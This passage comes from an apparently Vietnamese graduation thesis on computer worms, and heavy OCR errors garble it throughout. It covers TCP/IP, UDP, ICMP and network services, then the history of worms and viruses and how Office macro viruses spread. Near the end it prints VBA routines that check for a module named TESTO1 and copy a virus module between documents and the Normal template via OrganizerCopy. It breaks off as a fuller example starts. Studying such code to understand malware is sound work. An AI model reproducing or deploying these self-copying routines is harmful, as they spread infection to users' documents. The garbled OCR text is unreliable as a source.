vao an toan cuia may chu kho mé rong, tinh khong bao mat dugc dia chi IP.

Pé giai quyét van dé an toan cua TCP/IP, co quan quan ly k¥ thuat
Internet IETF (nhém nhiém vu k¥ thuat Internet) nghién ctu ra mdt loai giao
thire IP moi, goi la Ipv6. Do dai dia chi cua giao thirc IP mdi hién nay 1a 32 bits
d3a mo rong téi 128 bits, ting cudng co ché an toan, trong diém 1a tir hai mat
phan bi¢t va bao mat, dinh ra mot loai ti€u chuin, nham dam bao cho sy ung

dung trong thé ky 21. Thang 8/1995, IETF di cong bd nim tiéu chuan co lién
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quan vé an toan dé quy dinh chirc ning an toan cta Internet. Nam tiéu chuan
nay la : RFC 1625 (gidi thiéu tong hop két cdu thé hé an toan), RFC 1826 (md
ta phan nhom phan biét mé rong téi IP), RFC 1228 (co ché phan biét chuyén
dung), RFC 1829 (co ché ting cudng bao mat chuyén dung). IPv6 hd tro c6 tinh
cudng ché cac tiéu chuan an toan nay, dic tinh an toan cua n6 chu yéu 1a thuc
hién trong phan m& rong sau IP header.

Ngoai ra, trén qudc té mot sd cong ty con lién tuc dé xuét rat nhiéu giao
thirc an toan khac nhu:

e SSL : N6 la giao thurc 16p boc an toan thudc ho giao thic TCP/IP.

e S—HTTP : N6 la giao thuc truyén dan an toan siéu van ban, né 1a
mot loai phat trién mé rong d6i véi HTTP, 1am viéc trén tang Gng dung, c6 thé
cho thué bao ky tén bang chit ky s trén bat ky van ban nao.

e SEEP : Giao thirc an toan chi tra dién tu.

e SET : Giao thirc an toan giao dich dién tir.

e IKP : Giao thirc chi tra c6 khong ché khéa ma Internet.

1.3. Giao thirc khong két no6i (User Datagram Protocol - UDP)

UDP cho phép chuong trinh tmg dung truy cép truc tiép dén géi tin cua dich
vu chuyén giao giéng nhu dich vu ma giao thirc IP cung cap. N6 cho phép tng
dung trao d6i thong tin qua mang véi it thong tin diéu khién nhat. UDP 1a giao
thire khong két néi, kém tin cdy vi nd khong co co ché kiém tra tinh ding dan

cua dir li¢u truyén.

1.3.1.G0i thong tin UDP
0 31
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Source port Destination port
Message length checksum
Data
Destination Source Type P UDP dataf CRC
Address Address Field header

Mdi goi thong tin UDP goi 1a mot Datagram dugc phan lam 2 phan
header va data trong d6 header chira thong tin vé dija chi céng nguén, dia chi
cong dich, d6 dai ctia goi va checksum

1.3.2. Phdn kénh va hop kénh ,
Phan kénh, hgp kénh chinh 1a viéc lya chon nhiing tién trinh tng dung

trong mQt sO 16n céc tién trinh s dung giao thic UDP, va can chon ra nhiing

tmg dung twong tng véi goi thong tin chuyén dén.

Port 1 Port 2 Port 3

UDP: Demultiplexing
Based on Port

UDP Datagram arrives

IP Layer

Viéc nay duoc giai quyét bang co ché cong (Port mechanism) co ché nay
gin mdi tng dung véi mot con sb goi 1a s6 hiéu cong (Port number) va mdi goi
thong tin ma ing dung gii di déu mang mot truong SOURCE PORT.

Tai noi nhén, dua vao thong tin trong truong DESTINATION PORT ma

goi tin d6 dugc truyén dén cong twong tng voi ung dung. Vi du moi ban
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TCP/IP déu c6 dich vu FTP (File Transfer Protocol) gan v&i cong 21 va TFTP
(Trivial File Transfer Protocol) gan véi cong 69 ciia UDP.
Viéc sir dung cac port number ciing c6 nhiéu cach

e Dung nhiing céng danh riéng cho timg tng dung di duoc dang ky
truede (Well — known port assigment)

e Mot port number s€ dugc sinh ra khi ¢c6 mét ing dung doi hoi
(Dynamic binding).

e Céch tiép can két hop cac kiéu trén (Hybird) vira sir dung Well —
known port assignment cho mot sé port number vira c6 thé dinh nghia céac port
number khac khi can thiét. Cac port number thong dung ciia UDP thuong dugc
danh chd tir 1 t&i 255. Mot s6 hé diéu hanh (nhu 4.3 BSD UNIX) con danh chd

t6i port number 1023, cac port number ¢ thé st dung duoc 13 tir s6 1024 trd

A

Ién
Mét s6 cong UDP danh riéng
0 Reserved
7 Echo
9 Discard
11 Active users
13 Daytime
15 Who is up or NETSTAT
17 Quote of the day
19 Character generator
37 Time
42 Name server
43 Who is
53 Domain name server
67 Boottrap protocol server
68 Boottrap protocol client
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69 Trivial File Tranfer Protocol ( TFTP)
111 Sun RPC

123 Network time protocol

161 SNMP net monitor

162 SNMP traps

512 UNIX comsat

513 UNIX rwho process

514 System log

525 Timed

Co6 mét s6 1y do dé ngwoi 1ap trinh tng dung lwa chon UDP nhw mét dich
vu giao van:

e Néu mét s6 luong 16n cac goi tin nho dugce truyén, thong tin cho viéc
két ndi va stra 16i co thé 16n hon nhiéu so véi thong tin can truyén. Trong
truong hop nay UDP 1a giai phap hiéu qua nhat.

e Nhitng img dung kiéu “Query - Response” ciing rat phu hop v6i UDP,
cau tra 101 6 thé dung lam sy xac nhan ctia mot cau hoi. Néu khong nhan dugc
su tra 101 sau mdt thoi gian nao do, rng dung chi can gtri di mdt cau hoi khac

e Mot s6 tmg dung di tu nd cung cip cong nghé riéng dé chuyén giao
thong tin tin cdy, va khong doi héi dich vu nay cua transport layer

1.4. Giao thirc diu khién truyén tin (Internet Control Message Protocol -
ICMP)

Viéc dan duong qua cac mang st dung giao thuc diéu khién truyén tin
(Internet Control Message Protocol - ICMP) dugc dinh nghia trong RFC 792.
ICMP sir dung g6i tin IP dé truyén thong bao ciia n6. ICMP gui cac thong bao
lam cac cong viéc: Diéu khién, thong bao 16i va chic ning thong tin cho
TCP/IP. Thong thudng ICMP dugc gui khi mot goi tin khong thé di téi dich,

mot gateway khong con di chd nhd dé nhén thém gobi tin hay mot gateway
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huéng din may tinh sir dung gateway khac dé truyén thong tin theo mot con

duong t6i uu hon.

Goi tin ICMP

Mic dau mdi thong bao ICMP c6 mét kiéu dinh dang riéng cua nd, song

cac thong bao déu chua 3 trudng dau tién gidng nhau:

TYTE: Dinh nghia thong béo di sau.

CODE: Cung cp thong tin thém vé thong bao.
CHECKSUM: Chtra checksum cua thong bao.

Type Field

co o1 ~ W O

11
12
13
14
15
16
17
18

1.4.1. Piéu khién dong dir liéu

ICMP Message Type

Echo Reply

Destination Unreachable
Source Quench

Redirect (Change a router)
Echo Request

Time Exceeded for a Datagram
Parameter Problem on a Datagram
Timestamp Request
Timestamp Reply

Information Request
Information Reply

Address Mask Request
Address Mask Reply

Khi tram ngudn gui dir lidu toi qua nhanh, tram dich khong kip xtr 1y,

tram dich, hay mot thiét bi dan duong gui tra tram nguén mot thong bao dé nod

tam nglng viéc truyén thong tin.
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1.4.2. Théng bdo 16
Khi khong tim thdy tram dich, mot thong bao 16i Destination

Unreachable dugc gateway giri tra lai tram ngudn. Néu mot sé hiéu cong khong
phu hop, tram dich giri thong bao 15i lai cho tram ngudn (céng s& duoc trinh
bay trong phan giao thirc ting giao vén)
1.4.3. Dinh huong lai

Mot gateway gui thong bao dinh huéng lai dé tram gii st dung mot
gateway khac boi vi gateway doé 1a mot Iya chon thich hop hon. Truong hop
nay chi xay ra khi tram giri ndi vao mang c6 trén 2 gateway.

Vi du may tinh B mudn guri thong tin dén may C, néu thong bao d6 dén
gateway 1 phai gui thong bao redirect may tinh d6 qua gateway 2. Nguoc lai ,
mdi may tinh trén mang X.25 muén giri thong béo toi may tinh nam trén mang

Token Ring thi viéc nay khong can thiét vi gateway 1 duoc nbi truc tiép voi

mang Token Ring.
Token Ring
Gateway 1 Host A Host B
X.25
Gateway 2 Host C
Ethernet

1.4.4. Kiém tra tram lam viéc

Khi mft may tinh mudn kiém tra mot may khéc cé tdn tai va dang hoat
dong hay khong, né giri mot thong bao Echo Request. Khi tram dich nhén dugc
thong bao do, nd gui lai mét Echo Reply. Lénh ping cua UNIX sir dung cac
thdng béo nay.
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1.5. Cac dich vu mang
1.5.1. Dich vu WEB

Dich vu WEB (con goi 1a WWW) 1a dich vu sir dung ngén ngit danh dau
siéu vin ban HTML dé tao ra cac trang thong tin da phuong tién chitra vin ban,
hinh 4nh, am thanh, dit li€u ... Hoat dong theo mo6 hinh Client/Server
1.5.2. Dich vu truyén File

Dich vu truyén file (FTP) 1a mét trong nhitng dich vu phd bién nhét trén
mang dung dé truyén tai cac file gitta cic mdy chu trén mang, giita may chu va
may khach. Cac file c6 thé & dang van ban, anh tinh, anh video, cac thu vién,
dic biét 1a cac phan mém tng dung dugc cung cap mién phi hodc thr nghiém.
Viéc truyén file duoc théng qua giao thirc FTP khong phu thudc vao vi tri dia 1y
hay mai truong hé diéu hanh gitra cac may.
1.5.3.Dich vu truy nhdp tir xa(Telnet)

Telnet cho phép nguoi st dung tor mot tram lam viéc ciia minh co thé
dang nhap (login) vao mot tram xa nhu 1a mot dau cudi (teminal) ndi truc tiép
vO1 tram xa do.

1.5.4. Dich vu tra citu theo chi muc

Dich vu tra ctru theo chi muc (Gopher) 1a mot dich vu tra ctru thong tin
theo chui dé va str dung céc thuc don. May chu Gopher lwu trir tai liéu, ngoai ra
con mot sd may luu trit cac chi dan két ndi hodc dia chi cua cac Gopher khac.
Thong qua cac client cia Gopher ngudi st dung thé nhan cac file van ban, hinh
anh, d6 hoa, Am thanh.

1.5.5. Dich vu nhdm tin

Dich vu nhom tin (Usenet) dugc coi 1a mang nhom tin 16n nhat trén thé
gidi do hang ngan may phuc vu tin (New Host) duoc lién két lai v6i nhau dé
truyén dat tin tirc. Mang nhém tin 1a méi truong tranh luan thé giéi. N6 giup cho
ngudi st dung c6 thé trao doi thong tin vé& cha dé ma ho quan tim. Khac véi
tranh luan theo danh sach thu dién tr 1a thu cta ting thanh vién trong danh sach

thu dién tor dugc gui dén cho timg ngudi riéng 1é. Thu trén Usernet dugce duoc
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giri dén mot may chu chira tin. Nguoi st dung c6 thé dit cau hoi, dua ra ¥ kién
tranh luan vé mot chu dé nao do, gtri thong bao hoac tai liéu vao Usernet.
1.5.6. Dich vu tim kiém thong tin dién rong

Dich vu nay goi 1a WAIS (Wide Area Information Service), 1a cong cu tim
kiém thong tin trén mang thong qua chudi cac dé muc Ira chon, dich vu WAIS
cho phép ngudi dung tim kiém cac tép dit liéu co chira mot xau ky tu xac dinh
trudce.
1.5.7. Dich vu tim kiém tén tép

Dich vu tim kiém tén tép (Archie) 1a mot tap hop cic mdy chu, mot may
chu nay lai luu trit dia chi cia mdt vai may FTP server vo danh khac. Cac FTP
server nay luu trir dia chi cua céc file cia may chu cong cong va cac may chu
nay duogc cdp nhat lién tuc. Cac Archie Server st dung FTP dé nap xuéng danh
sach cua céc file luu trit tai cadc host cong cOng va cap nhat danh séch nay vao
co s& dir licu.

Nguoi dung co thé truy cip vao Archie server bang cach két ndi truc tiép
thong qua chuong trinh Telnet va sit dung cac nhom I€nh cua Archie hodc co
thé két ndi gian tiép thong qua thu dién tir, thu chira cac 1énh can thiét cta phién
lam vi¢c va Archie s€ gui gitip cho ngudi dung theo duong thu dién tir.

1.5.8. Dich vu hoi thoai

Dich vu nay con goi 1a IRC (Internet Relay Chat) 1a mdt phuong tién “thoi
gian thyc” trao d6i qua mang. IRC c6 thé mang tinh chat c4 nhan tic nguoi khac
khong thé kham pha ndi dung trao ddi cta ho. Ciing ¢o thé tao “kénh mé” cho
nhiéu ngudi ciing tham gia. Ngoai viéc trao doi bang 10i ngudi ding ¢ thé gui file
cho nhau nhu hinh dnh, chuong trinh, tai liéu va nhiing thir khac.

1.5.9. Dich vu thu dién tw

Dich vu thu dién tr (Email) 1a dich vu quan trong va phé) bién nhét trén
Internet vi tinh tién dung ctia né. Thu dién tir khong phai 13 mot dich vu “dau —
cubi” (end to end). Nghia 1a may giri thu va may nhan thu khong can phai lién

két truc tiép véi nhau dé thuc hién chuyén thu. N6 1a dich vu kiéu “luu va
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chuyén tiép” (store and forward). Thu dién tor duoc chuyén tir may nay sang
may khéc cho td1 may dich.

Pay 1a mot dich vu phd bién nhét trén Internet trude khi World Wide
Web ra doi, thong qua dich vu ndy, nguoi str dung trén mang c6 thé trao doi cac
thong bao cho nhau trén pham vi thé gidi. Pay 1a mot dich vu ma hau hét cac
mang dién rong déu cai dat va cling l1a dich vu co ban nhét ciia mot mang khi
gia nhap Internet. Nhiéu ngudi sir dung may tinh tham gia mang chi dung duy
nhit dich vu nay. Dich vy nay str dung giao thuc SMTP(Simple Mail Transfer
Protocol) trong ho giao thirc TCP/IP.

Thu dién tir 1a phuong thirc trao d6i thong tin nhanh chong va thuan tién.
Nguoi str dung ¢ thé trao doi nhitng ban tin ngan hay dai chi bang mét phuong
thirc duy nhét. Rat nhiéu nguoi sir dung thuong truyén tin thong qua thu dién tir
chtr khong phai bang cac chuong trinh truyén tap tin thong thuong.

Pic diém cua dich vu thu dién tir 1a khong tuc thoi (off - line) — tat ca cac
yéu cau giri di khong doi hoi phai dugc xir 1y ngay lap tirc.

Khi nguoi str dung guri mot buc thu, hé théng s€ chuyén thu nay vao mot
vung riéng (goi 1a spool) ciing véi cac thong tin vé nguoi giri, ngudi nhan, dia
chi may nhan... Hé thong s& chuyén thu di bang mdt chuong trinh chay nén
(background). Chuong trinh gui thu nay sé& xac dinh dja chi IP may can guri cho
t5i tao mot lién két voi may do. Néu lién két thanh cong, chuong trinh gui thu
s& chuyén thu téi ving spool ciia may nhan. Néu khong thé két ndi vi may
nhan thi chuong trinh giri thu s& ghi lai nhitng thu chwa dugc chuyén va sau dé
s& thtr guri lai mot lan nd hoat dong. Khi chuong trinh giri thu thdy mét thu
khong gri dugc sau mot thoi gian qua 1au (vi du 3 ngay) thi no6 s€ tra lai bic thu
nay cho nguoi guri.

Moi thu trén Internet déu tuan theo mot dang chuan. Bao gém phﬁn header
chura dia chi nguot gui, dia chi ngudi nhan dang domain name va sau do la phz‘in
noi dung thu. Ca hai phan déu 1a cac ky ty ASCII chuan. Thu chuyén trén mang va

dén duogc dich 13 nho vao thong tin chira trong phan header cua thu
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Ban dau thu dién tr chi nhdam muc dich trao ddi cac thong bao (thuc chat
1a cac tép vin ban) gitta ngudi st dung v6i nhau. Dan dan nguoi ta da phat trién
thém cac bién thé trén nd dé phuc vu nguoi sit dung t6t hon hodc dung cho
nhitng muc dich riéng bi¢t. Do 1a cac dich vu thong tin dya trén thu dién tir.
Thuc chét cua cac dich vu nay la st dung thu c¢6 ndi dung tuan theo mot cu
phap dic biét thé hién yéu cu ciia ngudi sir dung. Cac thu nay dugc giri toi mot
nguoi st dung dic bié€t 1a cac server, cac server nay phan tich ndi dung thu,
thue hién cac yéu cau roi gui tra lai két qua cho nguoi yéu cau ciing dudi dang
thu dién tu.

C6 hai server pho bién trong hoat dong nay la

e Name server cung cdp dich vu tra ctru dia chi trén mang
e Archive server cho phép ngudi st dung tim kiém va iy vé nhiing
teép tin dung chung.
Trén day, nhiing khai niém co ban vé Internet cung nhimg tmg dung
trén d6 duogc trinh bay. Muc dich cta nd 1a cung cap nhitng kién thic co so

nham phuc vy yéu cau cia cac chuong sau.
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CHUONG 2 : CACH THUC HOAT PONG CUA SAU
MAY TINH
2.1. Tong quan vé sdu may tinh(worm)
2.1.1. Khai niém sdau

Pé don gian ta néi 1a “sau” ma khong noi 1a sdu may tinh nhung van
duoc hiéu 1 sdu may tinh.

Sau la gi? Sau, giéng nhu mot virus, la phr:in mém ddc hai (malware), co
tinh nang lay lan va pha hoai sy hoat dong binh thuong cia mang may tinh,
song khac véi virus né duogc thiét ké dé ty né lay lan tir may tinh ndy sang may
tinh khac, nhung n6 lam viéc d6 mot cach tu dong béng cach nim quyén kiém
soat cac tinh nang trong may tinh, ma céc tinh nang nay co thé truyén tai cac tép
hodc thong tin. Khi c¢6 sau trong hé thong ctia minh né cé thé ty di chuyén,
khong can sy tac dong ctia con nguoi (nhu ddi véi virus 14 chép cac tép bi
nhiém tir may nay sang may khac). Mot nguy hiém 16n ciia sau may chinh 1a nd
coO kha nang tai tao & lugng 16n. Vi dy, mdt sau co thé gui cac ban sao chép cua
chinh no t&i tat ca moi ngudi co trong danh sach dia chi thu dién tir ciia ban, va
may tinh ctia ho sau do ciing s€ lam nhu vay, tao nén mdt tac dung 16i kéo lam
cho Iuu lugng mang bi qua tai va diéu nay lam cham cic mang kinh doanh va
Internet n6i chung. Khi cac sdu mdi ra doi, ching phat tan rat nhanh, 1am tic
nghén mang va cé thé 1am cho ban (va nhitng ngudi khac) phai cho 1au gap
nhiéu 1an dé xem cac trang Web trén Internet.

SAu may tinh va cac virus khac phat tan nhu thé nao?

Tat ca cac virus va nhidu sdu gan nhu khong thé phét tan trir khi ban mé
hodc chay mot chuwong trinh bi nhiém.

Nhiéu virus nguy hiém nhét chu yéu phat tin qua cac phan dinh kém véi thu
dién tir - cac tép dugc gui cing voi mot thong diép thu dién tir. Ban thuong c6 thé
nhin nhan ra néu thu dién tir ctia ban c6 mot phﬁn dinh kém bdi vi ban sé nhin théy

mdt biéu twong gim gidy thé hién tép dinh kém va bao gdm tén nd. Anh, thu dugc
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viét trén Microsoft Word, va tham chi cac bang tinh Excel ciing 1a mot loai tép ma
ban c6 thé nhan qua thu dién tir mdi ngdy. Virus dugc khéi chay khi ban mé tép
dinh kém (thudng boi nhan dap vao biéu twong dinh kém).

2.1.2. Sy phdt trién ciia virus va worm

Khai quat :

Virus va worm da phat trién qua hang loat su cai tién. Hién nay, mot
trong nhiing tinh chat ctia worm Ia phéat tdn nhanh va danh cép thong tin.

Cic thé hé phat trién cia virus, worm :

Thé hé thir nhat : (nim 1979 dén dau nhitg nam 1990).

Pau tién nhiing virus ra doi thong thudng 1a virus boot — sector hau hét
muc tiéu 13 hé diéu hanh MSDOS. Con sdu may tinh doi dau thuong thién vé
tao ra nhitng chuong trinh 15i (con rép) va diéu khién cac phan ctrng mang tinh
dac trung. Thuat nglt "worm" dugc John Shoch va Joh Hupp goi tai Xerox
PARC vao nim 1979, Ho di viét chuong trinh truy cap dén cac may tinh va
phat tan ra cac may tinh khac. Bang cach ty tao cac ban sao, nhung thuc ra y
tudng tu sao chép da duoc nha toan hoc ndi tiéng trong linh vuc tin hoc do
chinh la John Von Neuman tim ra tir nhitng nam 1949. Cai khac ma Shoch va
Hupp dit ra d6 chinh 13 dung worm dé 1y nhiém trén ca nhiing may nhan rdi
c6 nghia 1a du cac may d6 c6 tan suit 1am viéc thdp nhung van bi nhiém worm.
Thoi gian ndy worm duoc tao ra déu c6 gidi han thoi gian séng cua nd, bang
cach giri mot goi dir lidu dic biét ndo d6 s& giét chét tat ca cac siu. Bat chip su
bao dam an toan, mot trong nhiing chuong trinh sdu mang tinh bi hiém vén
hanh ngoai tim kiém soat va pha huy cac may chi qua mot dém. Vao nam
1983, Fred Cohen hinh thanh mdt ¥ tudng 13 viét ra mot chuong trinh virus may
tinh dau tién khi méi con 1a sinh vién tai USC. Virus "Christma Exec" 13 mot
trong nhitng loai dau tién ding E-mail dé phat tan, don gian no chi v& ra mot
thé chiic muirng gidng sinh trén man hinh may tinh dung ngon ngit Script goi 1a

REXX. Bang cach gui ban sao téi cac dia chi co trong hop thu. Nguoi nhan
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duoc nd ¢t tin tudng rang 1a nguoi ban ciia minh gii cho minh va ctr thé mo ra
va lai nhu thé ma co ché lan ra theo con duong e-mail.

Vao ngay 2 thang 10 nam 1988 mot loai sau ndi tiéng da lam té liét 6000
may tinh trong vong vai gid déng hd do mdt sinh vién tén 1a Robert Morris viét,
nguyén 1y cua loai su ndy 14 khai thac 16 hong ctia hé diéu hanh UNIX trong
chuong trinh gtri mail, va dung 16i tdn cong tran bd dém thong qua 15i trong
chuong trinh finger ctia UNIX (finger 1a chuong trinh tim hiéu vé mot nguoi
dung trén mang).

Thé hé thir hai : (ddu nhitng nam 1990 dén 1998) cac hinh thai khai thac
cua sau va bg cong cu :

Pay 1a mot thoi ky phat trién ciia virus manh hon worm may tinh, mic du
vay ki thuat phat trién ctia may tinh ciing anh huong dén su phat trién cta ¥
tudng d6 chinh 1a dung cac thuat todn ma hoa da tao nén hinh thai mdéi cua
virus. Hinh thdi méi ndy duoc xuat hién dau tién vao nam 1989 tai Chau Au.
N6 tu nhan ban bang cach chén cic s6 ngau nhién vao mot luong bytes cuc 16n
vao thuat toan giai ma. Hinh thai méi nay da tré thanh mot van dé thach thirc
vao nam 1992 va sau do 1a hang loat céac loai virus nhu TPE, NED DAME ra
doi. Co thé noi viée viét cac chuong trinh virus da trg thanh mot trao luu bat
dau hinh thanh cac hoi cdc nhém viét ra nhimg cong cu ma nhd nd mot sb
nguoi chi can c6 ki nang vé 1ap trinh mét chut 1a c6 thé tao ra dugc virus mot
cach dé rang. Pién hinh 13 virus Anna Kournikova, ding email gan cac doan ma
virus vao va ca nhiing btrc anh vé tennis ciing bi anh huéng. Bang cach ding
cac doan ma VBScript ma nd c6 thé tu sao chép vao tat ca cc dia chi trong hop
thu Outlook.

Vao nam 1995 virus macro d3 xuét hién, viét cho Word ctia hé diéu hanh
windows 95. N6 nhiém vao file “normal.dot* cia Word mot cach tu dong khi
mé bat ky mot file Word nio khac. Nhung mot thoi gian sau hau hét moi nguoi
déu biét duoc cach phong ngira. Chinh vi vdy ma macro ciing khé phét trién

hon.

Tran Thi Thity Lép CT901 32



Khoa luan tot nghiép

Thé hé thir ba: (tu 1999 dén 2000) : Nhimng buc thu véi sd luong 16n.
Bit dau véi Happy99. Email da tré thanh mot méi truong cho su 14y nhiém.
Vao thang 1 nam 1999 loai worm ndy di phat tan trén email véi file gan kém
vao dé 1a Happy99.exe. Mdi khi n6 dugc kich hoat thi n6 s& hién 1én phao hoa
trén man hinh vé1 dong chir “New Year’s Day 1999%. Nhung cai chinh 1a n6 da
bi mat thay do6i file WSOCK32.DLL (mét file chinh cho viéc két néi truyén
thong trén Internet) bang cach dung mot chwong trinh goi 1a “con ngya thanh
Trrojan” n6 cho phép worm tu nd tham gia vao tién trinh truyén thong trén
Internet. File WSOCK32.DLL gbc di bi d6i tén WSOCK32.SKA

Thang 3 nam 1999, virus macro Melissa da phat tan rat nhanh lay nhiém
t6i 100,000 may tinh trén toan cau trong vong 3 ngay, nd cai dit mot ban ghi
moi va tat thu dién tr ctia nhiéu cong ty dung Microsoft Exchange Server. N6
bat dau gui dén mot nhém méi trén mang dén trang “alt.sex” voi tai khoan va
password day htra hen. Cac tai liéu bi tin cong chtra cac doan ma macro dung
cac ham ctia Word va outlook e-mail dé nhan ban worm. Tiép theo virus tim
kiém khoa Registry hién thoi chira xau “kwyjibo”. Trong trudng hop khéng cd
khoa nay thi no s& tu gui di 50 ban voi dja chi can gui dugc 1dy trong hop dia
chi Outlook. Hon nita n6 con 1ay nhiém vao file normal.dot ding macro VBA.
Nhu vay 12 bat ky mot tai liéu nao khi luu lai s& chua virus.

Vao thang 5 ndm 2000, sau c6 tén LoveLetter 1a loai sdu c6 su phat tan
cuc 16n, n6 da tré thanh hinh mau cho loai worm e-mail véi s6 luong 16n trong
tuong lai. N6 nhan ban mot ban thong diép véi tiéu dé 1a “ I love you” va dong
chir nay chinh 13 nguyén nhéan lam cho nhiing ngudi nhan thu nhu duge khuyén
khich dé doc phan dinh kém nay. Phan dinh kém chinh 1a doan md VB Script
ma nd c6 thé tr dong chay véi Window Script Host (mot phan ctia win 98, win
2000, IE 5 hodc Outlook5). Worm sé& tu n6 sao chép vao thu muc hé thong va
thay ddi registry muc dich 1a mot file thi hanh ty dong chay khi may tinh khoi
dong. N6 nhiém vao cac loai file c6 phan mé rong khac. Khi mot may nhiém

néu Outlook duoc cai dit worm sé tu dong sao chép mot buc thu dién tu bat ky
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mot dia chi nao c6 trong hdp dia chi. Hon nita n6 tao ra nhitng kénh ndi IRC.
Worm #n cép password va thay d6i URL trén IE dén mot trang web ¢ Chau A.
Web site nay tim cach download mdt chu ngua Trojan da duoc thiét ké dé thu
luom cac mat khau ctia email khéac tir mét dia chi may ¢ Chau A.

Thé hé thi tu: (tir 2001 dén nay)

Thé hé cua nhiing con sau may tinh hi¢n dai. Co thé n6i dén nhu Code
Red va Nimda véi sy lay lan khung khiép, no chinh 1a mét hinh thai méi cua
sdu truyén thong nhung & mirc do cao hon thong qua nhiing dic tinh:

e Téan cong theo kiéu hdn hop.

e Tim cach lay vao cac méi truong maoi (Linux, mang ngang hang ...)
e Tu cap nhat ma mdt cach tu dong tir Internet.

e Céic doan ma nho nguy hiém.

e Chdng lai cac phan mém chéng virus.

C6 thé n6i worm hién dai da phat trién mot cach vugt bac: Di tir nhitng ki
thudt co ban thém vao d6 13 sy phat trién cta nhiing 16i tan cong cling nhu
nhing 16 hong cta cac phan mém, hé diéu hanh di tao nén nhiing con sau may
tinh ¢ strc cong pha rat 16n.

Vao nam 2001 sau Sadmind phat tan trén muc ti€éu khac nhau trén hai hé¢
diéu hanh khac nhau. Dau tién n khai thac 18i tran by dém trén hé diéu hanh
Sun Solaris va cai dat phan mém dé tin cong cac IIS Server. Khoang mot thang
sau sau Code red 1 ra doi n6 ciing khai thac 16 hong ndy. Worm ty dit nd trong
b0 nhé va sinh ra trén 100 tién trinh, mdi mét tién trinh 1a mdt ban sao géc cua
worm. Worm sinh ra danh sach cac dia chi IP ngiu nhién va lay trén d6 200,000
may di bi nhiém. Mot tuan sau d6 Code red 2 ra doi lay nhiém trén 359,000
may ma khong dudi 14 gio.

Vao ngay 18 thang 9 nam 2001 sau Nimda 1a mot bao dong méi dbi véi
lang worm né dung 5 cach khac nhau dé phat tan va dua ra nhimg doan ma nho
nguy hiém. Nhiéu site bi nghén & cong 80.450,500 méy chi trong vong 12 gio,

mac du khong c6 ki thuat 1dy nhiém nao la maoi.
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Khung khiép hon nita vao thang 8 nim 2003 xuat hién mot loai sdu c6
tén Blaster voi sitc 1y nhiém cuc nhanh, ngudi ta goi d6 13 tuan 18 toi nhét cua
lich sir worm, muc tiéu cua loai sau nay chinh 1a khai thac 16i Windows DCOM
RPC, cang manh hon nira d6 chinh la Sobig.F.

2.2. Macro virus

Hién nay da c6 rat nhiéu sau str dung cac macro. Loi dung tinh ning cua
n6 1a co thé tu dong chay mot doan ma khi c6 mdt tdc dong ctia con nguoi dén
file van ban. Dién hinh 13 worm macro virus Melissa di dung ki thuat macro
kha hoan hao nham muc dich 1ay nhiém qua con duong email.

2.2.1. Khai niém macro

Macro — MS Office (trong phan nay va tiép theo s& goi tat 1a macro) 1a
chuong trinh duoc viét véi cac ngdn ngir nhu WordBasic, VBA (Visual Basic
for Application) dé ty dong thuc hién mot sb thao tac bén trong mét img dung
nén ctia Microsoft Office nhu Microsoft Word, Excel, PowerPoint.

Cac macro VBA duogc xay dung & dang cac thu tuc (procedure) hodc céc
ham (function). Mot chuong trinh viét trén ngoén ngit VBA c6 thé truy cap toi
cac document, worksheet, Microsoft Outlook hay mot doi tuong ng dung nao
d6 dé doc hodc ghi dir liu.

Nhu vay, néu nhitng macro duoc thiét ké c6 kha nang tu sao chép ching
tir chd nay sang chd khac, thi chiing tré thanh cic virus may tinh, bdi chung da
c6 kha ning 1ay nhiém, mot dic tinh quan trong clia virus may tinh.

Ngoai cac macro do nguoi st dung tu thiét ké, trong cac ung dung cua
Microsoft Office c6 mot sb macro dugce tu dong thi hanh nhu :

e AutoExec : Puoc thi hanh mdi khi chuong trinh ing dung duoc
kho1 dong.

e AutoNew : Duoc thi hanh dé tao mét tai liéu/vin ban méi.

e AutoOpen : Pugc thi hanh dé md mot tai liéu da co.

e AutoClose : Puogc thi hanh dé dong mot tai li¢u dang mo.

e AutoEXxit : Pugc thi hanh mdi khi thoat khoi tmg dung.
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2.2.2. Phuong thirc ldy nhiém

Céac k¥ thuat 1ay nhiém cua cac virus macro kha da dang, phong phu, chu
yéu dua trén cac tinh nang sao chép cac macro tir file vin ban nay sang file vin
ban khac ma cac tmg dung nén hd tro. Mdi ddi tuong VBComponent c6 mdt ddi
tuong con la CodeModule, cho phép thao tac trén cac module chuong trinh cé
trong file vian ban. Virus c6 thé sir dung cac thudc tinh, phuong thirc sdn co dé
thao tac truc tiép trén cac module nay

1. Théng qua thanh phan VBProject cua cac dbi twong Microsoft
Office. Cac macro duogc luu trit ngay trong file ddi twong (Document,
WorkSheet, E-Mail) hoac trong cac tép dinh dang (Template) va dugc tham
chiéu qua dbi tuong Document hoic WorkSheet. Mdi ddi twong Document déu
c6 thanh phan VBProject. Trong VBProject c6 Container Object, 1a mot
VBComponents, chira cac thanh phan VBA cua file vin ban.

2. St dung cac dich vu Import va Export. Trong d6i tuong
VBComponents ¢c6 mot phuong thirc 1a Import, cho phép nhap thém céc thanh
phin VBA (Form/Module/Class) tir mot file. Mdi thanh phin VBA
VBComponent ciing ¢6 mot phuong thirc 13 Export cho phép xuét chinh no ra
thanh mot file (FRM, .BAS, .CLA). M&i khi muén sao chép cic chuong trinh
virus sang mot file vin ban méi, trude hét sir dung 1énh Export dé xuit chuong
trinh ra mot file, sau d6 st dung 1énh Import dé nhap chuong trinh virus vao file
van ban mai.

3. St dung OrganizerCopy. Phuong thirc OrganizerCopy cta ddi
tuong Application c6 thé dugc sir dung dé sao chép chuong trinh virus sang mét
file van ban khac. Gia st trong file NormalTemplate da c6 virus macro TESTO1
(tén module virus — macro la TESTO1 trong VBA)

Sub SaveDocument()

On Error Resume Next
DaNhiem = False
For Each obj In ActiveDocument.VVBProject.VBComponents
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If obj.Name = "TESTO1" Then DaNhiem = True
Next obj
If DaNhiem = False Then
Application.OrganizationCopy
Source = NormalTemplate.FullName,
Destination = ActiveDocument,
Name = "MacVirus",
Object = wdOrganizerObjectProjectltems
End If
End Sub
Thu tuc copy virus tor mot file tai licu da bi nhiém virus vao file
NormalTemplate nhu sau :
Sub SaveTemplate()
On Error Resume Next
DaNhiem = False
For Each obj In NormalTemplate.VVBProject.VBComponents
If obj.Name = "TESTO1" Then DaNhiem = True
Next obj
If DaNhiem = False Then
Application.OrganizationCopy
Source = ActiveDocument.FullName
Destination = NormalTemplate.FullName
Name = "MacVirus"
Object = wdOrganizerObjectProjectltems
End If
End Sub
2.2.3. Vi du minh hoa
Macro Virus dugc xay dung trong vi du nay la virus lay lan trong céc tép

